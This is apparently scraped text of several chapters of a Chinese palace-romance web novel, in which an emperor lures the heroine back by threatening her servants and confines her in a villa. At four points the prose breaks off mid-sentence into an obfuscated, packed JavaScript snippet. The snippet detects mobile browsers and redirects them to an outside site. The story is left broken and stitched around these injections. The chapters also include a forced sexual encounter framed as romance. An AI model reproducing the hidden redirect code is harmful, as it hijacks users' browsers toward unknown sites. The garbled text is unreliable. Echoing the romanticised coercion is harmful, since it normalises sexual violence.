她只是想关心他罢了,这有错么,更令她难以启齿的是,她入宫已经三月有余,皇上却还没有碰过她,皇上统共就来素芳阁几次,每次都是她睡在里间,他睡在外间。甚至,她都没有和皇上独处过。 “多谢张公公提醒,本宫知晓了。”彭安容来时的嚣张气焰敛尽,泛着水光的眼眶有些狼狈。 张海看着彭安容萧寂的背影摇了摇头,不管在家里再怎么得宠,既然来了这宫里,就得靠着皇上的恩宠过日子,若是认不清自己的道路,耍些小姐脾气,只会令皇上越来越厌烦。 第104章 有你真好 第一百零四章有你真好 枫月谷入口处停着一辆布置简洁的青蓬马车,夜影横坐在车辕上。 欢凉为安文夕系了披风,眼圈有些发红,不舍得看着安文夕道:“公主,欢凉想和你一起去西楚。” “你现在伤还没好,先待在枫月谷养身体。” “可是,欢凉舍不得你。”她长这么大这还是她第一次要和公主分别。 “待你伤好了,再来盛京找我也不迟。”安文夕接过欢凉手中递来的手炉。 “欢凉知道,公主,玉公子是个值得托付的人,欢凉希望以后有人对公主好,保护公主。”比起报仇、复国,她更希望公主可以过得幸福。 “袭匀,你好好照顾欢凉。”安文夕嘱咐道。 “你就放心吧小师妹,师兄一定会将她养的白白胖胖的,好了好了,都别不舍了,跟生离死别似的。” “闭上你的乌鸦嘴。” “喂,你这臭丫头就知道说师兄,不分尊卑,该打!” 楚君昱看着朝他走来的安文夕,淡笑道:“走吧。”然后揽住她的腰,一把将她带上马车。 青墨色的帷幔缓缓垂下,掩去了众人的视线,马车轻摇,哒哒的马蹄声渐起。 月无痕揽着风飘雪,看着马车渐渐消失在了视线中,微叹了一句,这安文夕跟楚君昱去了西楚,不知是对还是错。 上了马车,安文夕扫了眼马车内的摆设,一方红木软榻,一张紫檀小几,青瓷盏正袅袅的升腾着茶烟,旁边的炉子上烧着的热水正呲呲的冒着热气。都是些再寻常不过的东西,却让人觉得十分美好惬意,就如楚君昱一般,邪魅润泽,每每和他在一起时,都有一种总说不出的舒服来。 楚君昱握着她的手道:“胭脂,有你真好。” 安文夕有些不自然的松开了他的手,眼角瞥向四周,发现马车一角的两个酒坛,惊道:“你那日将摘到的梅花酿了酒?” 楚君昱点点头,“三个月后,胭脂就可以尝尝我亲手酿的梅花酒了。” “好啊,我到时候看看你的手艺比起箐姑姑如何?” “箐姑姑?” “箐姑姑是我的奶娘,厨艺精湛,常常令父皇的御厨自叹不如,尤其酿了一手好酒。记得小时候,母后最爱喝箐姑姑酿的果酒,我也偷偷地沾一点……” 楚君昱嘴角微勾,静静地看着眼前的女子眉眼弯弯,讲述着以前的旧事,一种温暖的感觉油然而生。 他从没有听到她主动的讲述过去的事情,国仇家恨让她对以前的事情绝口不提。他也从来不问,怕触动了她的伤心事,今日她能主动说出来已经不易,看来她的心境已经释然很多,开始从过去的阴霾中走出来了。 安文夕想到月清绝手中的千年龙魄,话锋一转,“如今千年龙魄和引魂丹都在枫月谷,你父皇的病该怎么办?” 她最终还是没有将千年龙魄带给他。 “月公子给了我不少名贵药材,姑且还可以维持一段时间,我父皇大限将至,天命不可逆。” “虽然父皇自幼待我不亲和,但是他始终是我父皇。”楚君昱眸光深邃,“自小他就冷眼旁观别的皇子对我的欺辱,不知他是有意锻炼栽培我,还是因为当年我母妃的事情而讨厌我,呵……如今我也不想去猜。” 安文夕默然,皇家的事情,又有多少是可以说得清的。 “胭脂,不如我们来下棋吧。”楚君昱看着安文夕脸色丨微变,立即转了话头。 “好。” 楚君昱指尖掠动,不出片刻,已经在棋盘上摆出那日的剩局来。 安文夕惊道:“你竟然还记得?” “这是自然,该你了。”楚君昱翩然落下黑子。 这一局足足下了一个时辰,茶水都已经添了三次。 楚君昱勾唇道:“胭脂,你输了,想赢你一局真是不容易。” “驭——”夜影勒住了缰绳,慢慢放缓了速度,他撩起车帘对楚君昱道:“殿下,前方有人拦住了去路,依稀可以认出是夏皇身边的羽卫。” 夏皇? 安文夕闻言,手里捧着的手炉蓦地一松,他追来了! 楚君昱握了握她的手道:“你安心待在里边,我去外面瞧瞧。” 渐渐靠近前方的青蓬马车,左言勒住缰绳,停了下来。看着楚君昱掀开车帘,他利索的翻身下马,行至车前,突然单膝下跪道:“属下左言恭迎瑾淑妃。” 马车内的安文夕蓦地一惊,来人是左言? 楚君昱讥讽的笑道:“瑾淑妃早就死在了夏宫,这个世上已经没有瑾淑妃了!” 左言起身道:“三殿下,敢问车内何人?” “本宫车内何人,似乎没有必要向左大人报告吧。”楚君昱居高临下瞧着左言。 “三殿下如此遮掩,难道马车里藏了什么人不成?” “放肆!”夜影一把抽出腰间的剑指着左言。 左言不以为意的笑了笑,从怀中取出两样东西来,“劳烦三殿下将这两样东西交给车内之人。” 楚君昱淡淡扫了眼左言手里的东西,丝毫没有接的意思。 安文夕将车外的对话听得清清楚楚,左言来此,想必是北宫喆想将她带回去! 左言淡扫了眼手里的东西,对着马车道:“瑾淑妃,不知您是否认识这缀着璎珞的羊脂玉和紫玉玲珑簪。” 安文夕心中一惊,羊脂玉是箐姑姑的贴身之物,而紫玉玲珑簪则是她及笄之时赏给香茗的,那小丫头喜欢的不得了,一直佩戴着。她去枫月谷之前,只是将箐姑姑和香茗安排在了以前她在外面购置的一处别苑里,还没有来得及将她们接进凤青轩,难道北宫喆找到了她们?她心中越发不安起来,一把掀开车帘,对左言道:“给我!” 她慢慢握紧手里的东西,咬牙道:“北宫喆真是越来越让人恶心!” 他竟然三番五次拿箐姑姑和香茗来威胁她! “瑾淑妃先不要动怒,请听我说……” “左言,不要再叫我瑾淑妃,我不是!” “好,公主,皇上让我转告您一句,西楚三殿下此次回京是要和西楚世族月小姐完婚的,您确定要跟着去?” 完婚…… 安文夕听到这个字眼,紧紧抿了唇,好像这么多的天来,她一直都被人耍弄一般,再次想起他那日的承诺,只觉得好笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349680|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是,她却没有办法去斥责他。 她一直都知道他有未婚妻,更何况,她曾是北宫喆的瑾淑妃,已非完璧之身。她知道他不介意,可是她介意…… 静下心来,慢慢觉得释然,她和楚君昱之间,一直都是他在主动,他对她的好她看在眼里,她从来都没有去回应什么。 楚君昱立即慌了神,想要去拉她,却被她匆匆避开。 “胭脂,你听我说……” 安文夕嘴角攒出了一抹笑来,“玉公子,谢谢你陪伴了我这么长的时间。” 她不怪他,她没有理由去怪他。 看着安文夕越加淡然的神态,楚君昱心里越加的凄苦,这么长的时间他难道一直不曾在她的心中留下一星半点的痕迹么? 因为不在乎,所以不伤情…… 楚君昱看着她苦笑道:“胭脂,回西楚好么?”他觉得现在他的爱情已经低到了尘埃里。 安文夕咬了咬唇,最终摇了摇头,“玉公子,对不起……” “胭脂,我不要对不起!” “可是……” “我这就出动所有暗卫将箐姑姑和香茗带回西楚好么?” “殿下!”夜影痛心疾首道,殿下现在已经被这个妖女迷惑的失去自我了,难道他连一直筹谋的皇位也不要了么! “公主,我们走吧。”左言催促道。 “我要先见到她们!”安文夕冷冷道,“还有,我不要回夏宫!” “皇上已经吩咐,只要您肯回去,您提出的要求他都会满足!” “慢着,本宫倒要看看你如何带她回去!”楚君昱紧紧揽住安文夕的腰,将她禁锢在怀中。 左言剑眉一拧,腰间的长剑已然出鞘,“三殿下,若是你执意如此,休怪左言无礼了!” “那就看看你有没有这个能力了!”楚君昱脸上一向的温润被邪魅所代替,右手一翻,握紧了长剑,指向左言。 “都停下!”安文夕怒道。 “胭脂……” “楚君昱,你放我走吧,我不值得你如此。” 腰间的手不禁没松,反而更紧了,楚君昱眼底掠过,他好不容易才让她和他一同去西楚,怎么会放手? 安文夕用力掰着他的手,“不要逼我好么,我答应你,等我处理好了所有的事情就去西楚找你。” 楚君昱眼睑垂下,轻抿薄唇,圈着她腰肢的手蓦地一松,看向安文夕道:“胭脂,我等你一起喝梅花酒,不要让我失望。” “好,一言为定。”安文夕撑着车辕,跳下马车,对左言淡漠道:“走吧。” 左言大手一挥,后方缓缓驶出一辆马车来,左言抱拳道:“公主,请上车。”说着伸出手来要扶她。 安文夕淡淡扫了一眼道:“不必了,我自己可以。” 话音刚落,安文夕已经轻盈的跃上马车,她回头看了眼楚君昱,只听他道:“胭脂我等你。”安文夕拂着帘子的手微微一顿,然后缓缓放下车帘,走进马车内。 左言翻身上马,调转马头,大声道:“出发!” 夜影看着前方的马车远处,心中暗想,也许这对殿下来说是一件好事! 第105章 自甘** 第一百零五章自甘** 在马车上颠簸了十余日后,再次来到了承安,左言果然没有将安文夕带回夏宫,而是一路辗转来到一处十分僻静的山庄。 此处隐在山林深处,了无人烟,四季常青的树木葱荣一片。 马车行了很久才缓缓停下,左言为安文夕掀开车帘道:“公主,到了,请下车。” 安文夕伸出玉手撩开马车一侧的帘子,打量了眼四周,整个山庄黛瓦白墙,浑厚中透出一股婉约,枝杈遮掩之间依稀可以辨出青末山庄四个模糊的字来。 安文夕放下侧帘,抱了手炉从马车内探出头来,右手一撑,翩然落下马车。 “公主,这边请。”左言为安文夕引路道。 进了门,景致又有些不同,青砖门罩,石雕漏窗,木雕楹柱,宛然一副江南小院之景。 “左言,这青末山庄……” “回公主,这青末山庄是皇上两年前购置的别苑,原本是打算送给公主的……”说话这里,左言立即停了下来,然后看了眼安文夕脸上并无异色继续道,“公主,您注意脚下,从这里往前走,然后再第一个路口处左拐,最后直走就可以直达正房,左言就不陪您进去了。” “你去忙吧。”安文夕淡道,握紧了手里的羊脂玉佩和紫玉玲珑簪往前方走去。 偌大的房间内温暖如春,知道她要来,北宫喆早就吩咐人将房内烧得暖烘烘的。整个房间因为没有任何下人而显得有些空旷,北宫喆负手而立,黑衣的绛袍上绣着五爪金龙,日月星辰落在两肩上熠熠闪光,白色貂裘衬得他脸若冠玉。墨发一丝不苟被冕冠束至头顶,尽显尊贵桀骜。 他听到房门处传来一阵轻盈的脚步声,黑瞳刹那间抬起,视线紧紧锁住来人。 安文夕刚进入房间,身上蓦地涌出一阵暖意,而前方不远处温度骤降,令人如临冰窖,不禁打了个寒颤。 安文夕蓦然抬头,对上那双略带愤怒的幽瞳。 一时间,四目相接的刹那,安文夕蓦地勾了唇,这个男人果然在愤怒。 北宫喆黑瞳骤缩,锁着她嘴角的弧度,慢慢朝她走来。 “你真是卑鄙的令人恶心,除了这样的手段,你就没有别的了么?”安文夕摊开手心,咬牙一字一句道。 “只有这样,你才能回来不是么?”他了解她,箐姑姑和香茗是她最后的牵挂,若不是用她们绊住她,只怕她现在都已经身在西楚盛京了! “北宫喆,我问你,箐姑姑和香茗呢?” “箐姑姑和香茗在哪里你不是最清楚么?” 安文夕睫毛一颤,顿时明白了北宫喆话里的意思,他竟然骗她! 安文夕咬着下唇,握紧手里的东西砸向北宫喆。 北宫喆一把攫住安文夕的手,用力掼到怀中,眸中冷光乍现,“安文夕,几天不见,你长本事了?竟然敢打朕!” “如果可以——我还想杀了你!”安文夕用力的扳着北宫喆的手,可是却不起半点作用,她还是被北宫喆牢牢地禁锢在怀中。 “朕知道。” 北宫喆粗鲁的抬起她的下巴,双眸冷意森森,“你竟然要跟楚君昱去西楚,他都要大婚了,你还去做什么,难不成去做妾么,你真是**的可以!” 听着那刺耳的字眼,安文夕心中涌起一阵酸涩,转瞬被愤怒所代替,他费尽心机将她骗来,就是要这样侮辱她! “我就是自甘**,上赶着给人家做妾,关你屁事!”安文夕的脸色因为动怒而涨红,气急连粗话也一起冒了出来。 北宫喆薄唇微抿,下一瞬,低头咬住那粉红的唇瓣,飞快的临摹了一遍她的唇形,然后还意犹未尽的吸了一下。 “唔~”唇上突然传来的痛觉令安文夕一愣,紧接着一阵酥麻直袭大脑,还没来得及反抗,上方的人已经松开了她。 北宫喆如宣告**般,指尖擦过刚刚被他吸允的有些发红的唇边,对安文夕道:“你的人、你的心都是我的,他楚君昱凭什么?” “那你呢,你又凭什么?”安文夕偏头在肩头上飞快的擦去唇瓣上独属于他的气息。 北宫喆看着这一幕,眸光顿时敛尽,冷冷道:“就凭我是你夫君!” “你不是,不是!” “朕这就给你证明朕是不是!”北宫喆大掌探向安文夕的胸前,然后一把将她打横抱了起来,急急奔向内室。 北宫喆将安文夕扔到雕花大床上,大掌所经之处,安文夕身上的衣服被一件件剥离了出去。北宫喆褪去外袍,欺身而上。 安文夕双手死死抱着胸前的贴身里衣,怒视着上方的北宫喆,慢慢挪向床角。 北宫喆脸色如霜,将安文夕眼底的厌恶,愤怒收入眼底,这才是真正的她吧,以前在他身下不过是屈意承欢罢了。 “北宫喆,你给我滚开!”安文夕看着眼前兽欲渐起的男人,右手刚想摸向腰间才发现外衫早就被他扔下了床! 这一细小的动作没能逃过北宫喆的眼底,他探身将安文夕逼至角落,大手攒住她的双手,怒道:“你还想对朕动手?” 安文夕杏眸中写满了愤恨,抬脚朝他的关键部位踢去。 北宫喆双眸微眯,立即提身一错,安文夕重重的一脚踢在了北宫喆的大腿上。 这力道,足以让他**! 他想起那时她废了三十将士的阳根,黑瞳骤缩,打蛇打七寸,攻人致命点,这一点,她倒是清楚! 北宫喆顿时一把将安文夕拉到身下,用腿挤开她并拢的双腿,将她身上仅剩的衣物一把撕碎。 “不要!”身上一凉,安文夕忙护住胸前。 “北宫喆,你滚开,滚开!” NND,他对她用强! 北宫喆再次含丨住她的樱唇,将她的呜咽悉数吞进腹中,浅浅品尝着她的美好,感受着她的气息。 安文夕躲避不开,狠狠地咬住了他的唇瓣,一时间嘴里充斥着浓浓的血腥,而北宫喆却趁机撬开她的唇舌,吻得更深了。 安文夕不断地挥动着双手,而身上的男人怎么也推打不动。 北宫喆大掌一挥,床幔缓缓垂下,遮住了里面的春光旖旎。 北宫喆如一只饕餮巨兽一般,将安文夕折磨的没有半点力气。 云雨之后,北宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没有了,平日里就我们几个,若是皇上来的话,这里的人就多一些,青大人和左大人也会来。” “他经常来么?” 红绫摇了摇头,“我在这里待了好几个月了,就昨**上来了一次。” “娘娘,你要不要洗澡,小和子和小顺子已经为您备下了洗澡水。” 安文夕点点头道:“也好。” 她下了床,才发软双腿酸痛不堪,身子疲软的厉害。 进了浴桶,她将自己整个沉入水中,任温热的水浸泡着她的每一个毛孔,洗去北宫喆残留的任何气息。 她脖子上和胸前的朵朵红梅无声的宣告了北宫喆的残暴。 安文夕洗完澡,红绫就为她准备了晚膳,这个小丫头不仅做事周到而且十分细心,而且从不多言,这大概是北宫喆为什么将她接到这里的原因吧。 安文夕用过晚膳之后,身上稍稍恢复了些力气,由于泡了澡,身子也少了些倦怠。 第106章 竹林北院 第一百零六章竹林北院 “娘娘,钟叔来了,这里一直由他在打理,总是要见一见的。”红绫捧了杯茶给她。 “好,你让他进来吧。” 走进来的男子约莫四十多岁,修容整洁,举手投足之间甚是沉稳,看起来,十分干练。 “老奴见过瑾淑妃。”管钟下跪行礼道,他知道这里的是皇上放在心尖上的宠妃,他不敢怠慢。 “起来吧,钟叔请坐。”安文夕指着一旁的木椅道,然后看了眼红绫,“上茶。” 管钟也不客气,径直落座,对安文夕道:“瑾淑妃娘娘,这茶就不用了,老奴今日来就是想告诉娘娘一声,您就安心在这里住下,若是您有什么吩咐尽管告诉老奴,老奴定会让娘娘满意。” “我知道了。”安文夕拂了拂衣袖,她没有自称本宫,瑾淑妃是北宫喆给予她的,可是她却不想承认这层身份。 “娘娘若是闷了,可以让红绫带您四下走走,东院种满了红梅,如今开得正艳。南院有荷花塘,到了夏日,荷叶连天,荷花娉婷,景色极美,湖中心有暖阁,若是娘娘觉着上房冷的话,可以移到暖阁。西院建有观景楼,可以览尽山庄全貌。” 安文夕细细听他讲完,这钟叔难不成还以为她会长居于此么,将四季的景色全部介绍了一遍。 她点了点头,算是应了。 “若是瑾淑妃没有什么事情,老奴就先下去了。” “红绫,你去送送钟叔。” 安文夕在房内踱步,打量了眼房间的布置,仔细察看,竟然和她在未央宫的装饰摆设所差无几。 此时天色已经暗了下来,冬天的夜晚总是来得早,安文夕白天睡了一天,现在精神的厉害。 “红绫,你陪我出去走走,睡了一天,想走一走。” “不知娘娘想去哪里?”红绫搀着她道。 “随便走走便好。”安文夕已经搭着她的手出了房门。 临近年关,天气苦寒,冰冷的夜色寒凉如水,尤其在这深山里,更清冷了几分。 红绫给她系上了斗篷,她的手里还抱着手炉,所以并不觉得冷。 冰凉的山风吹到了脸上,让她头脑更加清醒,她一定要离开这里,决不能成为北宫喆的笼中困兽! 安文夕顺着来时的路走着,时不时踢下脚下的鹅卵石,看起来倒真有些闲淡。 整个山庄寂静的厉害,只能听见她和红绫浅浅的脚步声和阵阵风声,安文夕支起耳朵,除却她和红绫的气息,周遭连第三只生物的呼吸声也听不到,她的眼睛有意无意的瞥向四周,也并未发现任何异常。 红绫见她越走越远,马上就要走到山庄大门,忙提醒她道:“娘娘,再往前走,就要出了山庄了,不如我们回去吧,外面风大。” “红绫,这山庄外面都有什么?”安文夕和她说着话,脚下的步子却丝毫没有停止。 红绫看着安文夕马上就要走到山庄门口,心中有些着急,但却不能不回答安文夕的话。 “回娘娘,这山庄外面没什么东西,都是些乱石山林罢了。” “哦?”安文夕还没踏出去半步,立即从暗处闪出两个黑色人影来,皆对她抱拳恭敬道:“请瑾淑妃娘娘回房!” 这是羽卫! 安文夕不动声色的打量着身前的人,离得这样近,她却丝毫感受不到二人的气息,眼前这两个人只怕和左言青玄不相上下,看来这次北宫喆为了看住她竟然不惜出动了羽卫中的精英势力。 安文夕没有逗留,直接转回了身,原路返回,身后的红绫松了口气,她还担心瑾淑妃会大打出手,然后逃出山庄呢。 安文夕瞥了她一眼道:“走吧,我不会走的,你放心便是。”安文夕感觉身后的两个人在她转身之际,也明显的松了口气。 “娘娘,奴婢……” “不用说了,我明白,若是我走了,你无法交差。” 红绫立即跪下道:“多谢娘娘体谅奴婢。” “起吧,以后在我面前跪就免了。” 回到上房,安文夕解去了斗篷,然后将红绫打发去外面守夜,然后进了内室掠上房梁,偷偷的掀开瓦片,往外看去。 借着淡淡月光,安文夕看向四周,没有发现一个人,看来这些羽卫都隐藏的很好。 她掷出手里的鹅卵石,击向不远处的树杈,发生一声闷闷的声音来,音声不大,却足以惊动隐在暗处的羽卫。 只见瓦片上方掠过几道人影,脚踩在瓦片之上,竟然没有发出任何声响。 安文夕立即跃下房梁,飞快的除下身上的衣物,钻进被窝之中。 “扣扣……”传来一阵略有些急促的敲门声。 然后不待她答应,红绫已经推开了房门,“娘娘,您睡了么?” “还没有,你有什么事情?” 冰冷淡漠的声音令红绫心中微惊,“没什么大事,奴婢觉得娘娘屋里有些冷,想为娘娘加些炭火。” 她是来检查她有没有逃跑吧! 安文夕讥讽的勾了勾唇,“这个温度正好,不用加炭了,你下去吧。” “是。”红绫轻轻地掩上了门,然后拍了拍胸脯,天知道她刚才有多紧张,到现在手心里还全是冷汗。 安文夕却再也睡不着,经过今晚的试探,若是硬碰硬的话,她根本没有逃脱成功的可能。 她在床上辗转反侧了一晚上,也没有想出什么好的计谋来,直到天快亮时,才沉沉睡去。 在她醒来时,已经是将近午时了。 她隔着厚厚的床幔唤道:“红绫。” 她喊了半天,却没人理她,就在她准备拢开床幔时,有人却一把掀开了床幔,白花花的日光刺得她睁不开眼睛。 随即一声清冷的男声传来,“你倒是能睡!” 安文夕闻言,立即一个精灵,一把拉着锦被盖住自己的身体,警惕的盯着来人。 “呵,若是朕想,你能阻止的了么?” 安文夕咬了咬牙,答案很明显,无疑是不能,不然她现在还是完璧之身。 “滚!” 北宫喆看着她浑身带刺的样子,并没有半分恼意,直接唤来红绫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355989|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为她洗漱。 安文夕拧了眉,夏宫离这里距离不近,他平日里不仅要议事,还要批折子,怎么会来了这里? “过来!”在她还在愣神之际,北宫喆一把将她拉到桌前。 一阵阵诱人的香味瞬间袭击了她的蓓蕾。 “想吃就坐下!”北宫喆瞥了她一眼,他再了解她不过,她的眼神已经暴露了她。 安文夕咬了咬唇,始终没有落座的意思,北宫喆起身道:“你自个儿吃吧,朕一会再来看你。” 北宫喆一走,安文夕松了口气,也不再抵触,执起筷子吃起饭来,红绫在一旁细心的为她布菜。 北宫喆立在上房门外,抬眸看向房内,双眸幽深,然后转身离开,行至东院门口,身影一闪,沿着曲径走进北院。 北院和东南西三院相对隔绝,中间有一片竹林,将北院遮的严严实实。而且,竹林中布有阵法,在外面看来,只有一眼望不到尽头的竹林,根本不能发现里面还有一处院落。 北院的屋舍全部由竹子建设而成,竹屋和外围的竹林浑然一体,身处此处,仿佛与世隔绝一般。 房间内有一女子躺在竹床之上,那女子紧闭着双眼,看上去不过是二十七八岁,面容苍白可怕,双手交叠放在小腹处,就连手上也没有半点血色。守在她身旁的男子四十岁的年纪,头发却花白了大半,用手帕蘸了水一点点擦着她的唇瓣,然后轻轻地为她梳着她的头发。本是垂至脚踝的墨发,却黯淡的没有任何光泽。 只见那男子万分小心的捧着女子的青丝,在她耳边轻道:“阿虞,你以前最喜欢这一头墨发了,为夫给你洗洗,然后用漂亮的簪子给你挽起来,你觉得如何?” 男子低低说着话,而床上的女子却是始终没有答话,男子并不以为意,只顾自己说着话,仿佛是他一个人在自言自语,看他的样子,像是已经习惯了如此一般。 “阿虞,若是你能再睁眼看看为夫该有多好。”男子说着,眼中已然有了泪光。 他的阿虞早在十年前就已经离开他了,若不是有这琉璃珠护体,只怕早就化成了累累白骨。他本以为阿虞被那个女人毁去尸身,没想到上天竟然如此厚待,让他还可以再次见到阿虞。如今,他还能为她擦身洗头,已经是莫大的幸福了。 男子微叹一声,又喃喃道:“阿虞,为夫这就为你洗头。” 北宫喆静静地伫立在了门外,听着里面男人的喃喃自语,心中泛出点点酸楚,爱至深处,大抵就是如此吧。 他的眼前浮现了那张稚气未脱的脸,曾经的她嬉笑着对他招手,如今已是物是人非。 终究是他伤了她…… “吱呀——”男子只专注着给女子擦头发,根本没有注意房外有人已经站了许久。直到房门被人打开,他才警觉地扭过头去。 来人一袭绛紫衣袍,尊贵无比,透过他肆意而飘的墨发,彰显出别样的清冷。 凛冽的北风随着他的进来呼啸着灌了进来,男子立即拉起被子为躺着的女子盖上,殊不知那女子早就失去了知觉,这一举动,根本毫无意义。 第107章 你滚出去 第一百零七章你滚出去 北宫喆径直走进屋内,随手将门带上,然后自己找了个地方翩然落座。 男子拉着被子的手蓦地一顿,“你怎么来了?难道是夕儿她也在这里?” 北宫喆的视线落在躺着的女子脸上,看着那张绝美的倾世容颜,目光微凝。 “我在问你话呢!”男子隔断了北宫喆的视线,仿佛被人窥探了稀世宝贝一般。 北宫喆扫了眼安莫霖,淡道:“没错,夕儿是在这里,你若是不想她公之于众的话,就知道该怎么做。”修长的手指指向竹床上的莫虞。 安莫霖眸光一暗,咬牙道:“我能答应你,可是你答应我的事呢?”他尽量压抑着自己的怒火,仿佛不想吵到一旁的女子。 “朕已经答应你了,不然你以为你这辈子还能见到她?” 安莫霖握了握拳,最终忍住了自己的怒气。 当初,他答应北宫喆以江山换莫虞,北宫喆答应他不屠城、不伤人,可是后来有了曹暮烟操控夕儿一事,事情朝着众人难以控制的方向发展。 夕儿掏了江向晚的心,北宫喆提前攻入大安,将他挟持。 他的确没有**一城,伤害一人,却独独苦苦折磨夕儿,亦是将他囚在不见天日的地下密室逼问千年龙魄的下落,等到曹暮烟来了夏宫之后,他才放他出了密室,来到青末山庄和莫虞团聚。 由于北宫喆没有拿到千年龙魄,所以迟迟没有依言交出引魂丹! “那引魂丹本就是月无痕夫妇为莫虞炼制的,你怎么能用到江向晚身上?”安莫霖咬牙。 北宫喆蹙了眉,“这是夕儿欠她的!” “你——” “你放心,朕说话算数,两月之后,就将引魂丹归还,来复活她。” “但愿你不会让我失望!”安莫霖看向莫虞的那一瞬充满了柔情。 “当然不会。” 北宫喆抿了抿嘴角,过了片刻道:“最近有个人频繁活动在承安,给朕惹了不少麻烦,朕出动了羽卫都没有将他拿下,这令朕十分头痛,朕想你可能会认识。” “谁?” “凤公子,凤轻歌!”北宫喆盯着安莫霖的眼睛一字一句道。 安莫霖心中一惊,凤轻歌,不是早年夕儿在外混迹三国时用的名字么? “你可认识?” “不认识。”安莫霖淡淡道。 “是么?”北宫喆别有深意的打量着他,“可是外面皆在传他是你的私生子!” “这样的传言你也信?”安莫霖讥讽道。 “俗话说,宁可信其有,不可信其无,这暗中谋划着朕的天下的人,朕自然得多注意一些!” 北宫喆满意的勾了勾唇,他一直注意着安莫霖的神情,虽然他面上毫无波澜,但他微缩的瞳孔出卖了他。 临走时他看了眼莫虞,从怀中取出一件东西,扔给安莫霖道:“这个对她有帮助。” 安莫霖看着手中的帝王引倒吸了一口气,他竟然将此物给了他? 随着晚儿脾气越来越难以控制,帝王引对她的效果不大,他就将此物收了回来,如今看着莫虞灰败的神色,只怕经过十年光阴,那琉璃珠的精髓已经消耗殆尽。他将帝王引留下,只是希望莫虞可以坚持到千年龙魄注入到晚儿体内。 安莫霖握着手里的帝王引,半天淡吐道:“你不要再伤害夕儿了,这孩子脾气随了阿虞,倔得厉害。但凡认准的事情,谁也改变不了,反之,凡是她不喜欢的事情,谁也强迫不了!” “呵……如今是她和你向来器重的侄子在筹谋朕的江山,恨不得步步置朕于死地!” “在他们眼中,你是灭了我们大安、杀害我的凶手,他们自然恨你。” “夕儿恨我是为此,至于那安景晟为了什么想必你心里比我清楚!”北宫喆凉凉扔下了这句话,转身出了竹屋。 安莫霖闻言浑身一震,慢慢垂下了眼睑,然后踉跄着跌坐下来。 随着北宫喆的脚步,竹林中的竹子慢慢又回到了原处,原本他踩着的那条小路转瞬消失在了他的脚下。 等他再次回到上房时,安文夕早就已经用过了午膳,歇下了午觉。 北宫喆见她睡得香甜,没有作声,直接出了房门,让红绫好生照看,然后叫来管钟道:“钟叔,南院水上汀兰收拾的如何了?” “回皇上,暖阁已经按照您的吩咐布置妥当了,里面的摆设和上房内完全一致。” 北宫喆点点头,“你择日就差人将她的东西搬到汀兰阁吧,她向来有些怕冷。” “是,老奴知晓了。” 管钟忙应道,但看皇上如此小心呵护的行径,果然是将那个女子放到了心尖上。 “皇上何时回宫,老奴已经为皇上备好了马。” “待会吧,朕先带她去瞧瞧,看看是否合她心意。” 北宫喆一走,安文夕就睁开了眼睛,她压根就没有睡,只不过是不想看见北宫喆罢了。 辗转反侧了片刻,觉得闷的厉害,她刚刚想撩开床幔透透气,就看到北宫喆正立在床前,正一瞬不瞬的看着她,安文夕蓦地放下了床幔,隔断了视线。 “不装了?”北宫喆走近道。 安文夕双手攥着被角,抿着唇不说话。 北宫喆掀开床幔对她道:“赶紧起来,朕带你四下走走,消消食。” “我现在就想睡觉!” “朕给你一刻钟的时间。” 安文夕将被子往脸上一蒙,索性不去理他。 北宫喆一阵咬牙,这一点倒像极了以前,幼稚之极,却在他的心中升起了一阵暖意。 “赶紧,否则朕就上来陪你一起睡!” 安文夕蓦地拉下被子,露出愤愤的脸颊来。 他的一起睡,她自然清楚那是什么意思! “我穿衣服,你滚出去!”安文夕不客气的下了逐客令。 “速度点,别磨磨蹭蹭的,朕的耐心可是有限……” 北宫喆话还未说完,安文夕双手一拉床幔,将北宫喆的话直接屏蔽在了外面。 北宫喆脸色一僵,嘴角却慢慢勾起,踱步出了内室。 不消一盏茶功夫,安文夕已经穿戴整齐站在了北宫喆面前,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365934|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红的襦袄,大红的披风,就连脚上的靴子也缀着红色**球。 北宫喆知道她现在只穿红颜色的衣物,所以在青末山庄只为她准备了大红色的衣物。眼前的女子红衣墨发,肆意张扬,仿佛踩着一朵朵彼岸花朝他走来,灼目耀眼。 北宫喆神情微微一滞,然后霸道的扣住她的手道:“走吧。” 